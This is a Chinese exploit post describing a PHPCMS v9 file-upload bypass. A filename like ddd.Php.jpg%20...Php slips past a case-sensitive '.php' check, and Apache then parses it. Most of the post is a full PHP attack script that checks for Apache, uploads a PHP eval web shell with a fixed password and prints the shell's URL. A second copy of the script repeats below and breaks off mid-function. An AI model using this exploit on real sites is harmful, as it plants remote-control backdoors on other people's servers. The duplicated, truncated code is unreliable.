PHPCMS v9 Getshell（apache解析）漏洞EXP

发表于 2013年03月06日
Vulndb
更新于 2019年05月18日 11:58:24 上午

漏洞文件：phpcms\modules\attachment\attachments.php
后缀检测：phpcms\modules\attachment\functions\global.func.php

Fileext函数是对文件后缀名的提取。
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
经过此函数提取到的后缀还是jpg，因此正在is_image()函数中后缀检测被绕过了。
我们回到public function crop_upload() 函数中
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
在经过了is_image的判断之后又来了个.php的判断，在此程序员使用的是strpos函数
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀，大家应该明白了，它用在apache搭建的服务器上可以被解析。

PHPCMS V9 EXP

<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY
 
code by L.N.
 
apache 适用(利用的apache的解析漏洞) // www.uedbox.com
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path
 
Example:
1.php '.$argv[0].' lanu.sinaapp.com
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
    exit;
}
 
$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if ($ret=Create_dir($url, $path)) {
    //echo $ret;
    $pattern = "|Server:[^,]+?|U";
    preg_match_all($pattern, $ret, $matches);
    if ($matches[0][0]) {
        if (strpos($matches[0][0], 'Apache') == false) {
            echo "\n亲！此网站不是apache的网站。\n";
            exit;
        }
    }
    $ret = GetShell($url, $phpshell, $path, $file);
    $pattern = "|http:\/\/[^,]+?\.,?|U";
    preg_match_all($pattern, $ret, $matches);
    if ($matches[0][0]) {
        echo "\n".'密码为: '.$pass."\n";
        echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";
        exit;
    } else {
        $pattern = "|\/uploadfile\/[^,]+?\.,?|U";
        preg_match_all($pattern, $ret, $matches);
        if ($matches[0][0]) {
            echo "\n".'密码为: '.$pass."\n";
            echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";
            exit;
        } else {
            echo "\r\n没得到！\n";
            exit;
        }
    }
}
 
function GetShell($url, $shell, $path, $js)
{
    $content =$shell;
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url, 80);
    if (!$ock) {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";
        exit;
    } else {
        fwrite($ock, $data);
        $resp = '';
        while (!feof($ock)) {
            $resp.=fread($ock, 1024);
        }
        return $resp;
    }
}
 
function Create_dir($url, $path='')
{
    $content ='I love you';
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url, 80);
    if (!$ock) {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";
        exit;
    }
    fwrite($ock, $data);
    $resp = '';
    while (!feof($ock)) {
        $resp.=fread($ock, 1024);
    }
    return $resp;
}
?>

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<?php

error_reporting(E_ERROR);

set_time_limit(0);

$pass="ln";

print_r('

+---------------------------------------------------------------------------+

PHPCms V9 GETSHELL 0DAY

code by L.N.

apache 适用(利用的apache的解析漏洞) // www.uedbox.com

+---------------------------------------------------------------------------+

');

if ($argc < 2) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' url path

Example:

1.php '.$argv[0].' lanu.sinaapp.com

2.php '.$argv[0].' lanu.sinaapp.com /phpcms

+---------------------------------------------------------------------------+

');

exit;

}

$url = $argv[1];

$path = $argv[2];

$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';

$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';

if ($ret=Create_dir($url, $path)) {

//echo $ret;

$pattern = "|Server:[^,]+?|U";

preg_match_all($pattern, $ret, $matches);

if ($matches[0][0]) {

if (strpos($matches[0][0], 'Apache') == false) {

echo "\n亲！此网站不是apache的网站。\n";

exit;

}

$ret = GetShell($url, $phpshell, $path, $file);

$pattern = "|http:\/\/[^,]+?\.,?|U";

preg_match_all($pattern, $ret, $matches);

if ($matches[0][0]) {

echo "\n".'密码为: '.$pass."\n";

echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";

exit;

} else {

$pattern = "|\/uploadfile\/[^,]+?\.,?|U";

preg_match_all($pattern, $ret, $matches);

if ($matches[0][0]) {

echo "\n".'密码为: '.$pass."\n";

echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";

exit;

} else {

echo "\r\n没得到！\n";

exit;

}

function GetShell($url, $shell, $path, $js)

{

$content =$shell;

$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";

$data .= "Host: ".$url."\r\n";

$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";

$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

$data .= "Connection: close\r\n";

$data .= "Content-Length: ".strlen($content)."\r\n\r\n";

$data .= $content."\r\n";

$ock=fsockopen($url, 80);

if (!$ock) {

echo "\n"."此网站没有回应,检测url是否输入正确"."\n";

exit;

} else {